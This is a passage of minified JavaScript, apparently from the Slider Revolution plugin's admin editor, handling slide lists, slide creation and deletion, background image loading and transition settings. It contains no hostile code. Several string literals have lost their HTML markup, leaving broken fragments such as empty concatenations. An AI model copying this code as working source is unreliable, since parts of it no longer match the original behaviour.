  • swap_vert'+r+''+a.title+'
    visibilityvisibility_off
    delete
    content_copy
    settings
    '+s+"
    "+t+'
  • '):jQuery('
  • '+r+''+a.title+'
    visibilityvisibility_off
    delete
    settings
    '+t+"
  • "),l=n.find(".sle_thumb");o({id:e.id,target:l}),a.static.isstatic?n.insertBefore(RVS.C.slideList):""!==a.child.parentId&&void 0!==a.child.parentId?jQuery("#slide_list_element_childwrap_"+a.child.parentId).append(n):RVS.C.slideList.append(n),!0!==e.ignoreSort&&(RVS.F.makeSlideListSortable(),RVS.F.makeSlideListScroll())},RVS.F.makeSlideListScroll=function(){void 0===RVS.S.slidesListSB?RVS.S.slidesListSB=RVS.C.slideList.RSScroll({wheelPropagation:!1,suppressScrollX:!0,minScrollbarLength:100}):RVS.C.slideList.RSScroll("update"),RVS.DOC.on("mouseenter","#slidelist",function(){RVS.C.slideList.RSScroll("update")})},RVS.F.addRemoveSlideWithBackupAfterSlideId=function(e){var t=void 0!==e.urls?e.urls.length:1,i=jQuery.extend(!0,{},e.slideObj);i.slide.child.parentId=void 0!==e.parentId?e.parentId:"",RVS.F.ajaxRequest("create_slide",{slider_id:RVS.ENV.sliderID,amount:t},function(t){if(t.success){for(var a in t.slide_id)t.slide_id.hasOwnProperty(a)&&(e.slideId=t.slide_id[a],e.slideObj=jQuery.extend(!0,{},i),e.slideObj.id=e.slideObj.slide.uid=t.slide_id[a],void 0!==e.urls&&e.urls.length>0&&(e.slideObj.slide.bg.type="image",e.slideObj.slide.bg.image=e.urls[a].url.split(" ").join("%20"),e.slideObj.slide.bg.imageSourceType="full",RVS.F.slideinWork(t.slide_id[a])),RVS.F.addRemoveSlideWithBackup(e),void 0===e.parentID&&void 0===e.fromSlideId||(RVS.F.convertIDStoTxt(),RVS.F.saveSlides({index:0,slides:RVS.SLIDER.slideIDs,trigger:RVS.F.saveSliderSettings,works:RVS.SLIDER.inWork,force:!0})),void 0!==e.fromSlideId&&RVS.F.duplicateSkinColors({type:"slide",slideFrom:e.fromSlideId,slideTo:e.slideId}),RVS.DOC.trigger("newSlideCreated",[t.slide_id[a]]));void 0!==e.endOfMain&&e.endOfMain()}})},RVS.F.addRemoveSlideWithBackup=function(e,t){RVS.F.openBackupGroup({id:e.id,txt:e.step,icon:e.icon,lastkey:"#"+e.slideId}),RVS.SLIDER[e.slideId]=e.slideObj;var i,a,r,s=RVS.SLIDER.slideIDs.slice(),o=!1;if("deleteslide"===e.id){var n,l;for(var d in RVS.SLIDER.slideIDs)l=""+RVS.SLIDER.slideIDs[d],void 0!==RVS.SLIDER[l]&&void 0!==RVS.SLIDER[l].slide&&void 0!==RVS.SLIDER[l].slide.child&&""+RVS.SLIDER[l].slide.child.parentId==""+e.slideId&&(r=(n=RVS.F._inArray(l,s))-1>=0?n-1:n,""+l==""+RVS.S.slideId&&(o=!0),s.splice(n,1),RVS.SLIDER[l]={});r=(n=RVS.F._inArray(e.slideId,s))-1>=0?n-1:n,RVS.S.slideId==e.slideId&&(o=!0),s.splice(n,1),RVS.F.updateSliderObj({path:"slideIDs",val:s}),i=jQuery("#slide_list_element_"+e.slideId).removeClass("selected").detach()}else s.push(e.slideId),RVS.F.updateSliderObj({path:"slideIDs",val:s}),RVS.F.addToSlideList({id:e.slideId}),a={mode:"slidelayout",set:!0,slide:e.slideId};RVS.F.backup({path:e.slideId,cache:i,beforeSelected:e.beforeSelected,icon:e.icon,txt:e.step,lastkey:"#"+e.slideId,force:!0,val:jQuery.extend(!0,{},RVS.SLIDER[e.slideId]),old:e.slideObjOld,backupType:"slide",bckpGrType:e.id}),0==jQuery(".slide_list_element.sortable_slide_list_element").length&&(a={mode:"sliderlayout",set:!0}),void 0!==a?RVS.F.mainMode(a):o&&RVS.F.setSlideFocus({slideid:r>=RVS.SLIDER.slideIDs.length?RVS.SLIDER.slideIDs[0]:RVS.SLIDER.slideIDs[r]}),RVS.F.closeBackupGroup({id:e.id}),void 0!==e.after&&e.after()},RVS.F.setSlideFocus=function(e){if(RVS.F.setEditorUrl(e.slideid),RVS.F.slideinWork(e.slideid),delete RVS.S.bgobj,RVS.DOC.trigger("beforeSlideChange"),jQuery(".slide_list_element.selected, .slide_list_child_element.selected").removeClass("selected"),jQuery("#slide_list_element_"+e.slideid).addClass("selected"),jQuery(".slide_li").hide(),RVS.SLIDER[e.slideid].slide.static.isstatic?(window.lastSlideSettingForm="static",RVS.F.updateStaticStartEndList(),RVS.C.vW.classList.add("staticlayersview"),RVS.F.openSettings({forms:["*slidelayout**mode__slidestyle*#form_slidestatic"],uncollapse:!0})):(RVS.C.vW.classList.remove("staticlayersview"),"static"===window.lastSlideSettingForm&&(window.lastSlideSettingForm=jQuery(".slide_submodule_trigger.selected").data("forms"),RVS.F.openSettings({forms:window.lastSlideSettingForm,uncollapse:!0}))),RVS.DOC.trigger("slideAmountUpdated"),RVS.S.slideId=e.slideid,RVS.ENV.firstLayoutAfterSlideload=!0,RVS.DOC.trigger("showLastEditedSlideStatic"),RVS.DOC.trigger("slideFocusChanged"),0===jQuery("#slide_"+e.slideid).length){var t=jQuery("#slide_li_template").clone();t.attr("id","slide_"+e.slideid),RVS.SLIDER[e.slideid].slide.static.isstatic&&t.addClass("static_slide_li"),t.find(".crumb_title").html('wallpaper'+RVS.SLIDER[e.slideid].slide.title),RVS.S.ulInner.append(t),RVS.TL[RVS.S.slideId]=void 0===RVS.TL[RVS.S.slideId]?{}:RVS.TL[RVS.S.slideId]}RVS.S.lastVisibleSlideId!==e.slideid&&RVS.DOC.trigger("slideChanged"),RVS.S.lastVisibleSlideId=e.slideid,RVS.C.slide=jQuery("#slide_"+e.slideid),void 0!==RVS.SBGS&&void 0!==RVS.SBGS[RVS.S.slideId]||(RVS.SBGS=void 0===RVS.SBGS?{}:RVS.SBGS,RVS.SBGS[RVS.S.slideId]={wrap:RVS.F.cE({t:"rs-sbg-px"}),n:{sbg:RVS.F.cE({t:"rs-sbg-wrap",cN:"in"}),canvas:RVS.F.cE({t:"canvas"}),bgvid:!1,loadobj:{}},c:{sbg:RVS.F.cE({t:"rs-sbg-wrap"}),canvas:RVS.F.cE({t:"canvas"}),bgvid:!1,previous:!0,loadobj:{}}},RVS.SBGS[RVS.S.slideId].n.sbg.appendChild(RVS.SBGS[RVS.S.slideId].n.canvas),RVS.SBGS[RVS.S.slideId].c.sbg.appendChild(RVS.SBGS[RVS.S.slideId].c.canvas),RVS.SBGS[RVS.S.slideId].wrap.appendChild(RVS.SBGS[RVS.S.slideId].n.sbg),RVS.SBGS[RVS.S.slideId].wrap.appendChild(RVS.SBGS[RVS.S.slideId].c.sbg),RVS.C.slide.prepend(RVS.SBGS[RVS.S.slideId].wrap),RVS.SBGS[RVS.S.slideId].c.ctx=RVS.SBGS[RVS.S.slideId].c.canvas.getContext("2d"),RVS.SBGS[RVS.S.slideId].n.ctx=RVS.SBGS[RVS.S.slideId].n.canvas.getContext("2d")),RVS.C.layergrid=RVS.C.slide.find(".layer_grid"),RVS.DOC.trigger("sliderProgressUpdate"),window.contentDeltaFirstRun||RVS.F.updateContentDeltas(),RVS.C.rZone.top=RVS.C.layergrid.find(".row_wrapper_top"),RVS.C.rZone.middle=RVS.C.layergrid.find(".row_wrapper_middle"),RVS.C.rZone.bottom=RVS.C.layergrid.find(".row_wrapper_bottom"),RVS.C.layergrid.attr("id","layer_grid_"+e.slideid),RVS.HALL=null==RVS.HALL?{}:RVS.HALL,RVS.HALL[RVS.S.slideId]=null==RVS.HALL[RVS.S.slideId]?{}:RVS.HALL[RVS.S.slideId],RVS.H=RVS.HALL[RVS.S.slideId],RVS.C.slide.show(),RVS.DOC.trigger("updatesliderlayout","setSlideFocus-139"),RVS.F.setRulers(),RVS.F.updateFields(e.ignoreUpdateFields),"carousel"==RVS.SLIDER.settings.type&&null==RVS.S.carouselSettingsInit&&(RVS.F.updateEasyInputs({container:jQuery("#form_slidergeneral_caroussel"),trigger:"init",visualUpdate:!0}),RVS.S.carouselSettingsInit=!0),void 0!==RVS.S.slideBGCallFirsttime&&RVS.F.redrawSlideBG(),RVS.S.slideInputFieldsInitialised&&RVS.F.udpateSelectedSlideAnim(!0),RVS.F.updateParallaxLevelTexts(),RVS.F.setRulers();var i=RVS.selLayers.length;RVS.F.buildLayerLists({ignoreSelectLayers:e.ignoreUpdateFields,ignoreDrawLayers:!0}),RVS.F.updateReferencigToggleLayerType(),RVS.F.updateAllLayerFrames(),RVS.F.updateSelectedHtmlLayers(!0,!0),void 0!==RVS.S.slideBGCallFirsttime&&RVS.selLayers.length!=i&&RVS.F.selectedLayersVisualUpdate(),RVS.S.slideBGCallFirsttime=!0,RVS.DOC.trigger("updateScrollBars"),RVS.DOC.trigger("updateAllInheritedSize"),RVS.DOC.trigger("slideFocusFunctionEnd"),void 0!==RVS.S.firstPreparation&&1!==RVS.S.firstPreparation&&RVS.F.expandCollapseTimeLine(!0,"open"),RVS.DOC.trigger("updateSlideLoopRange"),RVS.DOC.trigger("updateFixedScrollRange"),RVS.F.reOrderHTMLLayers(),RVS.S.lastSaved=void 0===RVS.S.lastSaved?{}:RVS.S.lastSaved,setTimeout(function(){void 0===RVS.S.lastSaved[RVS.S.slideId]&&!0!==RVS.S.zIndexAtStartChanged&&(RVS.S.lastSaved[RVS.S.slideId]={params:JSON.stringify(RVS.F.simplifySlide(RVS.SLIDER[RVS.S.slideId].slide)),layers:JSON.stringify(RVS.F.simplifyAllLayer(RVS.SLIDER[RVS.S.slideId].layers))},delete RVS.S.zIndexAtStartChanged)},500)},RVS.F.getAllSlidesBgDimension=function(){for(var e in RVS.SLIDER.slideIDs)RVS.SLIDER.slideIDs.hasOwnProperty(e)&&(RVS.F.loadBGImages(RVS.SLIDER.slideIDs[e]),RVS.F.slideinWork(RVS.SLIDER.slideIDs[e]))},RVS.F.loadBGImages=function(e,t){if(RVS.allimages=void 0===RVS.allimages?{src:[],dim:[],img:[]}:RVS.allimages,e=void 0===e?RVS.S.slideId:e,jQuery.inArray(RVS.SLIDER[e].slide.bg.type,["image","youtube","html5","vimeo","external"])>=0||"c"===t&&void 0!==e&&void 0!==RVS.SBGS&&void 0!==RVS.SBGS[RVS.S.slideId]&&void 0!==RVS.SBGS[RVS.S.slideId][t].src){var i="c"===t?RVS.SBGS[RVS.S.slideId][t].src:RVS.SBGS[RVS.S.slideId].n.src;if("external"===RVS.SLIDER[e].slide.bg.type&&""===i&&(i=RVS.ENV.plugin_url+"admin/assets/images/transparent.png"),void 0===i)return;i=i.split(" ").join("%20"),void 0!==t&&(RVS.SBGS[RVS.S.slideId][t].loadobj=void 0===RVS.SBGS[RVS.S.slideId][t].loadobj?{}:RVS.SBGS[RVS.S.slideId][t].loadobj);var a=jQuery.inArray(i,RVS.allimages.src);a>=0?void 0!==RVS.allimages.dim[a]&&("c"!==t&&(RVS.SLIDER[e].slide.bg.imageWidth=RVS.allimages.dim[a].w,RVS.SLIDER[e].slide.bg.imageHeight=RVS.allimages.dim[a].h,RVS.SLIDER[e].slide.bg.imageRatio=RVS.allimages.dim[a].r),void 0!==t&&(RVS.SBGS[RVS.S.slideId][t].loadobj.img=RVS.allimages.img[a],RVS.SBGS[RVS.S.slideId][t].loadobj.width=RVS.allimages.dim[a].w,RVS.SBGS[RVS.S.slideId][t].loadobj.height=RVS.allimages.dim[a].h,RVS.SBGS[RVS.S.slideId][t].loadobj.src=RVS.allimages.src[a],RVS.SBGS[RVS.S.slideId][t].loadobj.progress="loaded"),RVS.DOC.trigger("device_area_dimension_update")):i!==RVS.S.lastLoadedBGImage&&(RVS.S.lastLoadedBGImage=i,a=RVS.allimages.src.length,RVS.allimages.img[a]=new Image,RVS.F.getImgWithCORS(RVS.allimages.img[a],i),void 0!==t&&(RVS.SBGS[RVS.S.slideId][t].loadobj.progress="loading"),RVS.allimages.src[a]=i,RVS.allimages.img[a].tpRequest=0,RVS.allimages.img[a].onload=function(){RVS.allimages.dim[a]={w:this.width,h:this.height,r:this.width/this.height},void 0!==t&&(RVS.SBGS[RVS.S.slideId][t].loadobj.img=RVS.allimages.img[a],RVS.SBGS[RVS.S.slideId][t].loadobj.src=RVS.allimages.src[a],RVS.SBGS[RVS.S.slideId][t].loadobj.width=this.width,RVS.SBGS[RVS.S.slideId][t].loadobj.height=this.height,RVS.SBGS[RVS.S.slideId][t].loadobj.progress="loaded"),"c"!==t&&(RVS.SLIDER[e].slide.bg.imageWidth=this.width,RVS.SLIDER[e].slide.bg.imageHeight=this.height,RVS.SLIDER[e].slide.bg.imageRatio=this.width/this.height),RVS.DOC.trigger("device_area_dimension_update"),1===this.tpRequest&&(console.info("%c"+RVS_LANG.CORSWARNING,"color:#f1c40f;"),console.info(this.src))},RVS.allimages.img[a].onerror=function(e,t,i){0===this.tpRequest&&this.crossOrigin&&(delete this.crossOrigin,this.removeAttribute("crossorigin"),this.tpRequest=1,this.src=this.src)},RVS.allimages.img[a].src=RVS.allimages.src[a])}},RVS.F.redrawSlideBG=function(e){void 0!==RVS.C.slide&&(clearTimeout(RVS.S.redrawSlideBGTimeOut),RVS.S.redrawSlideBGTimeOut=setTimeout(function(){var t,i=RVS.SLIDER[RVS.S.slideId].slide;if(void 0!==e&&e.liveColorChange&&void 0!==e.backgroundColor)t={bg:{color:e.backgroundColor,type:"solid"}};else for(var a in RVS.JHOOKS.redrawSlideBG)RVS.JHOOKS.redrawSlideBG.hasOwnProperty(a)&&(t=RVS.JHOOKS.redrawSlideBG[a](t));RVS.SBGS[RVS.S.slideId].n=jQuery.extend(!0,RVS.SBGS[RVS.S.slideId].n,RVS.F.getSlideBGObj({slideBGFrom:t})),RVS.SBGS[RVS.S.slideId].c=jQuery.extend(!0,RVS.SBGS[RVS.S.slideId].c,RVS.F.getSlideBGObj({type:"c",slideBGFrom:{bg:{color:"transparent",repeat:"repeat",position:"center center",fit:"50%",src:RVS.ENV.plugin_url+"admin/assets/images/light_pattern_2x.png"}}})),(void 0===RVS.SBGS[RVS.S.slideId].n.loadobj.img||RVS.S.lastSlideBGSrc!==RVS.SLIDER[RVS.S.slideId].slide.bg.type||RVS.SBGS[RVS.S.slideId].n.loadobj.src!==RVS.SBGS[RVS.S.slideId].n.src&&""!==RVS.SBGS[RVS.S.slideId].n.src)&&RVS.F.loadBGImages(void 0,"n"),void 0===RVS.SBGS[RVS.S.slideId].c.loadobj.img&&RVS.F.loadBGImages(void 0,"c"),RVS.S.lastSlideBGSrc=RVS.SLIDER[RVS.S.slideId].slide.bg.type,m(),RVS.SBGS[RVS.S.slideId].wrap.className=i.bg.mediaFilter,RVS.SBGS[RVS.S.slideId].n.usebgColor&&"transparent"==RVS.SBGS[RVS.S.slideId].n.bgcolor?(RVS.F.resetSlideTL(),RVS.SBGS[RVS.S.slideId].n.ctx.clearRect(0,0,RVS.SBGS[RVS.S.slideId].n.ctx.canvas.width,RVS.SBGS[RVS.S.slideId].n.ctx.canvas.height)):RVS.F.buildSlideAnimation(),RVS.F.slideAnimation({progress:1,type:"slide"});var r=document.getElementById("slider_overlay");r&&RVS.C.slide[0].querySelector("rs-sbg-wrap").appendChild(r),RVS.DOC.trigger("redrawSlideBGDone")},100))},RVS.F.updateSlideInputFields=function(){!0!==RVS.S.slideInputFieldsInitialised&&!0!==RVS.F.slideInputFieldsInitialisedInfo&&(RVS.F.udpateSelectedSlideAnim(!0),RVS.F.showWaitAMinute({fadeIn:0,text:RVS_LANG.updatingfields}),RVS.S.slideInputFieldsInitialised=!0,RVS.F.slideInputFieldsInitialisedInfo=!0),setTimeout(function(){RVS.F.updateEasyInputs({container:jQuery(".slide_settings_collector, #do_title_slide"),path:RVS.S.slideId+".slide.",trigger:"init"}),jQuery("#s_bg_color").val(RVS.SLIDER[RVS.S.slideId].slide.bg.color).rsColorPicker("refresh"),jQuery("#slide_bg_type").trigger("change"),o(),!0===RVS.F.slideInputFieldsInitialisedInfo&&(RVS.F.showWaitAMinute({fadeOut:2,text:RVS_LANG.updatingfields}),RVS.F.slideInputFieldsInitialisedInfo=!1),RVS.DOC.trigger("slideInputFieldsUpdated")},5)},RVS.F.updateFields=function(e){!function(){var e=document.getElementById("slide_seo_linktoslide");if(null!==e){var t="";for(var i in t+='',t+='',t+='',t+='',RVS.SLIDER.slideIDs)if(RVS.SLIDER.slideIDs.hasOwnProperty(i)){var a=RVS.SLIDER.slideIDs[i],r=RVS.SLIDER[a].slide.title;t+='"}e.innerHTML=t}}(),RVS.F.updateSlideAnimationView(),!0!==e&&RVS.F.updateSlideInputFields(),RVS.F.updateSlideBasedNavigationStyle(),V(e),RVS.F.alternatingSlideAnims(),RVS.F.buildSlideFrames(),RVS.F.updateSlideFrames(),RVS.F.updateMaxTime({pos:!0,cont:!0}),void 0!==RVS.S.firstTimeGoToIdle&&RVS.F.goToIdle(),RVS.S.firstTimeGoToIdle=!0},RVS.F.getSlideBGObj=function(e){e.id=void 0===e.id?RVS.S.slideId:e.id;var t=void 0===e.slideBGFrom?RVS.SLIDER[e.id].slide:e.slideBGFrom,i={bgcolor:"transparent",bgrepeat:t.bg.repeat,bgposition:"percentage"===t.bg.position?parseInt(t.bg.positionX,0)+"% "+parseInt(t.bg.positionY,0)+"%":t.bg.position,bgfit:"percentage"===t.bg.fit?parseInt(t.bg.fitX,0)+"% "+parseInt(t.bg.fitY,0)+"%":t.bg.fit},a=jQuery("#slide_bg_image_path");if("c"!==e.type)switch(t.bg.type){case"trans":i.usebgColor=!0;break;case"solid":var r=window.RSColor.get(t.bg.color);r.indexOf("gradient")>=0?i.bgcolor=r:i.bgcolor=t.bg.color,i.type="solid",i.usebgColor=!0;break;case"external":var s=t.bg.externalSrc.split(" ").join("%20");i.src=s,a.val(t.bg.externalSrc),a.height(Math.max(25,8+t.bg.externalSrc.length/20*16)),a.trigger("changedvalue",{sip:a[0].value}),i.type="image",i.usebgColor=!1;break;case"html5":case"vimeo":case"youtube":case"image":s=t.bg.image.split(" ").join("%20");i.src=s,a.val(t.bg.image),a.trigger("changedvalue",{sip:a[0].value}),void 0!==t.bg.image?a.height(Math.max(25,8+t.bg.image.length/20*16)):void 0!==t.bg.image&&a.height(Math.max(25,8+t.bg.image.length/20*16)),i.type="image",i.usebgColor=!1}else i.src=t.bg.src;return i},RVS.F.getSlideBGDrawObj=function(e){(e=void 0===e?{updateSip:!1}:e).id=void 0===e.id?RVS.S.slideId:e.id;var t=void 0===e.slideBGFrom?RVS.SLIDER[e.id].slide:e.slideBGFrom,i={backgroundImage:"",backgroundColor:"transparent",backgroundRepeat:t.bg.repeat,backgroundPosition:"percentage"===t.bg.position?parseInt(t.bg.positionX,0)+"% "+parseInt(t.bg.positionY,0)+"%":t.bg.position,"background-size":"percentage"===t.bg.fit?parseInt(t.bg.fitX,0)+"% "+parseInt(t.bg.fitY,0)+"%":t.bg.fit},a=jQuery("#slide_bg_image_path");switch(t.bg.type){case"solid":var r=window.RSColor.get(t.bg.color);r.indexOf("gradient")>=0?i={background:r}:i.backgroundColor=t.bg.color;break;case"trans":break;case"external":var s=t.bg.externalSrc.split(" ").join("%20");i.backgroundImage="url("+s+")",e.updateSip&&(a.val(t.bg.externalSrc),a.height(Math.max(25,8+t.bg.externalSrc.length/20*16)));break;case"html5":case"vimeo":case"youtube":case"image":s=t.bg.image.split(" ").join("%20");i.backgroundImage='url("'+s+'")',e.updateSip&&(a.val(t.bg.image),void 0!==t.bg.image?a.height(Math.max(25,8+t.bg.image.length/20*16)):void 0!==t.bg.image&&a.height(Math.max(25,8+t.bg.image.length/20*16)))}return i},RVS.F.slideMinLength=function(e){var t=e;e="default"===e||"Default"===e||0===e||"0ms"===e?parseInt(RVS.SLIDER.settings.def.delay,0):parseInt(e,0);var i=10*RVS.F.setSmallestSlideLength({left:e/10});return"Default"===t||0===t||"0ms"===t||"default"===t?"Default":i},RVS.F.getSlideLength=function(e){if(e=void 0===e?RVS.S.slideId:e,void 0===RVS.SLIDER[e])return 800;var t=RVS.SLIDER[e].slide.timeline.delay;return(t=null==(t=null==t||""==t||"default"===t||0==t||"Default"===t?RVS.SLIDER.settings.def.delay:t)||""==t||"default"===t||0==t||"Default"===t?8e3:parseInt(t,0))/10},RVS.F.getSlideAnimParams=function(e){var t=jQuery("#active_transitions_innerwrap li.selected").index();if(t=-1===t?1:t,void 0!==RVS.SLIDER[RVS.S.slideId].slide.timeline[e]){var i=RVS.SLIDER[RVS.S.slideId].slide.timeline[e][t];i=0===t?"default"==i&&"duration"==e?RVS.F.getSliderTransitionParameters(RVS.SLIDER[RVS.S.slideId].slide.timeline.transition[t]).TR[10]:i:"default"==i&&"duration"==e?void 0===RVS.SLIDER[RVS.S.slideId].slide.timeline[e][t]?RVS.SLIDER.settings.def.transitionDuration:RVS.F.getSliderTransitionParameters(RVS.SLIDER[RVS.S.slideId].slide.timeline.transition[t]).TR[10]:i}else i="default";return i},RVS.F.buildSlideAnimation=function(e){"image"===RVS.SBGS[RVS.S.slideId].n.type&&"loaded"!==RVS.SBGS[RVS.S.slideId].n.loadobj.progress||"loaded"!==RVS.SBGS[RVS.S.slideId].c.loadobj.progress||RVS._R.animateSlide(void 0,RVS._R.convertSlideAnimVals(void 0===e?RVS.SLIDER[RVS.S.slideId].slide.slideChange:e))},RVS.F.slideAnimation=function(e){void 0!==RVS.TL[RVS.S.slideId][e.type]&&void 0!==e.progress&&(RVS.TL[RVS.S.slideId][e.type].progress(.9999),RVS.TL[RVS.S.slideId][e.type].progress(e.progress))},RVS.F.setSlideAnimPresetToCustom=function(){RVS.SLIDER[RVS.S.slideId].slide.slideChange.preset="custom",RVS.F.udpateSelectedSlideAnim()},RVS.F.alternatingSlideAnims=function(){RVS.C.altslcon=void 0===RVS.C.altslcon?jQuery("#sanimation_sfalternates"):RVS.C.altslcon;var e="",t=RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt;if(void 0!==t&&Array.isArray(t)&&t.length>0)for(var i in t)e+=r(i);RVS.C.altslcon[0].innerHTML=e,RVS.C.altslcon.find(".tos2.slideAnimSelect").each(function(){RVS.F.createSlideAnimOptions(this)})},RVS.F.updateAlternateSlideAnims=function(){RVS.F.alternatingSlideAnims(),RVS.C.altslcon.find(".tos2.slideAnimSelect").ddTP({placeholder:"Enter or Select"}),RVS.F.updateEasyInputs({container:RVS.C.altslcon,path:RVS.S.slideId+".slide.",trigger:"init"})},RVS.F.clearSBGSAttrs=function(e,t){delete e.help_canvas,delete e.help_ctx,void 0!==e.cube&&(document.body.contains(e.cube.c)&&e.cube.c.parentNode.removeChild(e.cube.c),delete e.cube),tpGS.gsap.set([e.canvas,e.sbg],{x:0,y:0,z:0,rotateX:0,rotateY:0,rotateZ:0}),!0!==t&&(delete e.shadowCTX,delete e.shadowCanvas,delete e.SLOT,delete e.cDIMS,delete e.mDIM,delete e.usebgColor,delete e.usepattern,RVS.F.redrawSlideBG())},RVS.F.showExampleOrSelectedSlideAnim=function(){void 0!==RVS.S.demoSlideAnim?(RVS.TL[RVS.S.slideId].slide.pause(),RVS.F.clearSBGSAttrs(RVS.SBGS[RVS.S.slideId].c,!0),RVS.F.clearSBGSAttrs(RVS.SBGS[RVS.S.slideId].n,!0),RVS.TL[RVS.S.slideId].slideRepeat=!0,RVS.F.buildSlideAnimation(y(void 0!==RVS.S.demoSlideAnim.preset?{preset:RVS.S.demoSlideAnim.preset}:{key:RVS.S.demoSlideAnim.key})),RVS.TL[RVS.S.slideId].slide.progress(0).play()):(RVS.TL[RVS.S.slideId].slide.pause(),RVS.F.clearSBGSAttrs(RVS.SBGS[RVS.S.slideId].c),RVS.F.clearSBGSAttrs(RVS.SBGS[RVS.S.slideId].n))},RVS.F.warnFilterWithTransitions=function(){"none"!==RVS.SLIDER[RVS.S.slideId].slide.bg.mediaFilter&&"tpbasic"==RVS.SLIDER[RVS.S.slideId].slide.slideChange.e&&RVS.F.showInfo({content:RVS_LANG.filtertransitionissuepre,type:"goodtoknow",showdelay:0,hidedelay:2,hideon:"",event:""})},RVS.F.showHideLayerEditor=function(e){var t;RVS.eMode=void 0===RVS.eMode?{top:"",menu:""}:RVS.eMode,"slidecontent"===e.mode?(RVS.C.vW.classList.add("mode__slidecontent"),RVS.C.vW.classList.remove("mode__slidestyle"),RVS.eMode.top="layer",void 0!==(t=jQuery(".layer_submodule_trigger.selected"))&&!1!==e.openSettings&&RVS.F.openSettings({forms:t.data("forms"),uncollapse:t[0].dataset.collapse})):(RVS.C.vW.classList.remove("mode__slidecontent"),RVS.C.vW.classList.add("mode__slidestyle"),RVS.eMode.top="slide",t=jQuery(".slide_submodule_trigger.selected")),void 0!==t&&t.length>=1&&void 0!==t.data("forms")&&(RVS.eMode.menu=t.data("forms")[0])},RVS.F.makeSlideListSortable=function(){RVS.C.slideList;RVS.C.slideList.hasClass("ui-sortable")&&RVS.C.slideList.sortable("destroy"),n(),RVS.C.slideList.sortable({item:".sortable_slide_list_element",cancel:"#theslidermodule, #newslide, .do_not_sort_slide_list_element",start:function(e,t){RVS.C.vW.classList.add("slides_in_sort"),RVS.C.slideList.sortable("refreshPositions")},stop:function(e,t){RVS.C.vW.classList.remove("slides_in_sort");var i=Array.prototype.slice.call(document.getElementById("slidelist").getElementsByClassName("sortable_slide_list_element")),a=[],r="";for(var s in RVS.SLIDER.slideIDs)RVS.SLIDER.slideIDs.hasOwnProperty(s)&&(""+RVS.SLIDER.slideIDs[s]).indexOf("static_")>=0&&(r=RVS.SLIDER.slideIDs[s]);for(var o in i)i.hasOwnProperty(o)&&a.push(i[o].dataset.ref);a.push(r),RVS.F.updateSliderObj({path:"slideIDs",val:a}),n()}})},RVS.F.updateSlideAnimationView=function(){var e,t;for(e in RVS.F.updateEasyInputs({container:jQuery("#active_transitions_settings"),path:RVS.S.slideId+".slide.",trigger:"init"}),void 0===RVS.C.sltran&&(RVS.C.sltran={},RVS.C.sltmenu={},RVS.C.sltaddon=void 0===RVS.C.sltaddon?{}:RVS.C.sltaddon,RVS.C.sltran.all_globals=jQuery("#sltrans_all_globals"),RVS.C.sltran.pause=jQuery("#sltrans_pause"),RVS.C.sltran.flow=jQuery("#sltrans_flow"),RVS.C.sltran.in_full_wrap=jQuery("#sltrans_in_full_wrap"),RVS.C.sltran.in_rowcol_wrap=jQuery("#sltrans_in_rowcol_wrap"),RVS.C.sltran.in_ease_wrap=jQuery("#sltrans_in_ease_wrap"),RVS.C.sltran.in_mamo_wrap=jQuery("#sltrans_in_mamo_wrap"),RVS.C.sltran.in_xy_wrap=jQuery("#sltrans_in_xy_wrap"),RVS.C.sltran.in_rzo_wrap=jQuery("#sltrans_in_rzo_wrap"),RVS.C.sltran.in_sxsy_wrap=jQuery("#sltrans_in_sxsy_wrap"),RVS.C.sltran.in_auto_input_wrap=jQuery("#sltrans_in_auto_input_wrap"),RVS.C.sltran.in_filter_input_wrap=jQuery("#sltrans_in_filter_input_wrap"),RVS.C.sltran.filters_wrap=jQuery("#sltrans_filters_wrap"),RVS.C.sltran.d3_wrap=jQuery("#sltrans_3d_wrap"),RVS.C.sltran.out_rowcol_wrap=jQuery("#sltrans_out_rowcol_wrap"),RVS.C.sltran.out_ease_wrap=jQuery("#sltrans_out_ease_wrap"),RVS.C.sltran.out_mask_wrap=jQuery("#sltrans_out_mask_wrap"),RVS.C.sltran.out_xy_wrap=jQuery("#sltrans_out_xy_wrap"),RVS.C.sltran.out_rzo_wrap=jQuery("#sltrans_out_rzo_wrap"),RVS.C.sltran.out_sxsy_wrap=jQuery("#sltrans_out_sxsy_wrap"),RVS.C.sltran.out_full_wrap=jQuery("#sltrans_out_full_wrap"),RVS.C.sltmenu.in=jQuery("#slidein_ts_wrapbrtn"),RVS.C.sltmenu.out=jQuery("#slideout_ts_wrapbrtn"),RVS.C.sltmenu.filter=jQuery("#slidefilter_ts_wrapbrtn"),RVS.C.sltmenu.ddd=jQuery("#slide3d_ts_wrapbrtn")),RVS.C.sltaddon)if(RVS.C.sltaddon.hasOwnProperty(e)&&void 0!==RVS.C.sltaddon[e].slt_areas)for(t in RVS.C.sltaddon[e].slt_areas)RVS.C.sltaddon[e].slt_areas.hasOwnProperty(t)&&RVS.C.sltaddon[e].slt_areas[t].hide();for(e in RVS.C.sltaddon)if(RVS.C.sltaddon.hasOwnProperty(e)&&void 0!==RVS.C.sltaddon[e].menu)for(t in RVS.C.sltaddon[e].menu)RVS.C.sltaddon[e].menu.hasOwnProperty(t)&&RVS.C.sltaddon[e].menu[t][0].classList.add("disabled");switch(RVS.SLIDER[RVS.S.slideId].slide.slideChange.e){case"none":for(e in RVS.C.sltran)RVS.C.sltran.hasOwnProperty(e)&&RVS.C.sltran[e].hide();for(e in RVS.C.sltmenu)RVS.C.sltmenu.hasOwnProperty(e)&&RVS.C.sltmenu[e][0].classList.add("disabled");break;case"basic":for(e in RVS.C.sltran)RVS.C.sltran.hasOwnProperty(e)&&RVS.C.sltran[e].show();for(e in RVS.C.sltmenu)RVS.C.sltmenu.hasOwnProperty(e)&&RVS.C.sltmenu[e][0].classList.remove("disabled");break;case"slidingoverlay":for(e in RVS.C.sltran)RVS.C.sltran.hasOwnProperty(e)&&(jQuery.inArray(e,["in_full_wrap","out_full_wrap","filters_wrap","pause","flow","d3_wrap"])>=0?RVS.C.sltran[e].hide():RVS.C.sltran[e].show());for(e in 